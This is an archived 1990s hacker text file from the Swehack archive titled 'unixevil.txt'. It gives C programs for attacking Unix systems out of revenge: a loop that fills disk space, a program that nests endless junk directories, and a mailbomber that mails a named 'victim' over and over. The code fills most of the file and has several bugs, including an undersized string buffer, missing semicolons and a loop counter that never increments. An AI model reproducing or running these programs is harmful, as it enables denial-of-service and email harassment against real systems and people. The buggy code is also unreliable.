Swehack filarkiv (1992-2000) unixevil.txt
Öppna i terminalen
By: Shelter_x
stryiker@hotmail.com
In this file, i will describe evil techniques for crashing a unix system.
Note that the methods described in this file are'nt to be used unless you're really angry
with the person(s) to attack ;)
I'm going to start with describing a method for running the system fastly out of disk space,
which is, if you have local access to the system, a quiet effective way of killing a system.
If the system's disk space is filled up, the system cannot create necessary temporary files,
and so on and so on...
Ok, let's start.
The first thing you do is to chech whether the system is equipped with a C compiler
(like CC or GCC) if hasn't got one, then you have to compile it from your own computer
or from somwhere else. To just compile it with CC type: CC <input.c> <outputfile>
check MAN GCC or MAN CC for the details. Now you can make a program somehow similar
to the code as follows:
------------------------------
#include <stdio.h>
char text[10]="jevla sepen!!"; //the textstring, containing the message to bomb the file with
long run=1000; //how many lines do we want to add?
FILE *fp
main()
{
int i=1;
for(;i<run;i++)
{
fp=fopen("filename","a"); //open the file
fprintf(fp,"%s",text); //add our message
fclose(fp);
}
}
--------------------------------
That program will create a file which fills a file with desired amount of bytes of
garbage. just adjust the variable to a desired number and the program will append
your textstring so many times in the file. The reason to write it in C is that it's
faster than those unix batch/script files.
A variant of the one described above is also a good way to make an admin mad.
It creates an endless amount of subdirectories under the current one and fills the directory
with junk containing file.
the code:
---------------------------------
#include <stdio.h>
FILE *fp;
main()
{
int i=1
while(i<1000) //the program will now create 1000 subdirectories
{
mkdir("CraP");
fp=fopen("crap","a");
fprintf(fp,"add anything you like here");
fclose(fp);
chdir("CraP");
}
}
---------------------------------
Yeah, that's one hell of a program, don't try it at home. Note that you should'nt
blame me for eventual consequences.
2. write your own mailbomber in a minute.
Here's another neat trick, it's a unix mailbobmber, one thing just, it isn't really finished
so only use on an expendable shell.
the code goes:
-------------------------------------
#include <stdio.h>
char mail[200]="mail ";
char t[5]=" < ";
char user[100]="user@user.com"; //enter the victim's email adress
char mes[200]="The message you want to send";
char filename[100]="filename";
int number=2; //the number of mails you wanna send
FILE *fp;
main()
{
int i;
fp=fopen(filename,"a");
fprintf(fp,"%s",mes);
strcat(mail,user);
strcat(mail, t);
strcat(mail, filename);
for(i=0;i<number;i++)
{
system(mail);
}
}
-------------------------------------------------
That's all folks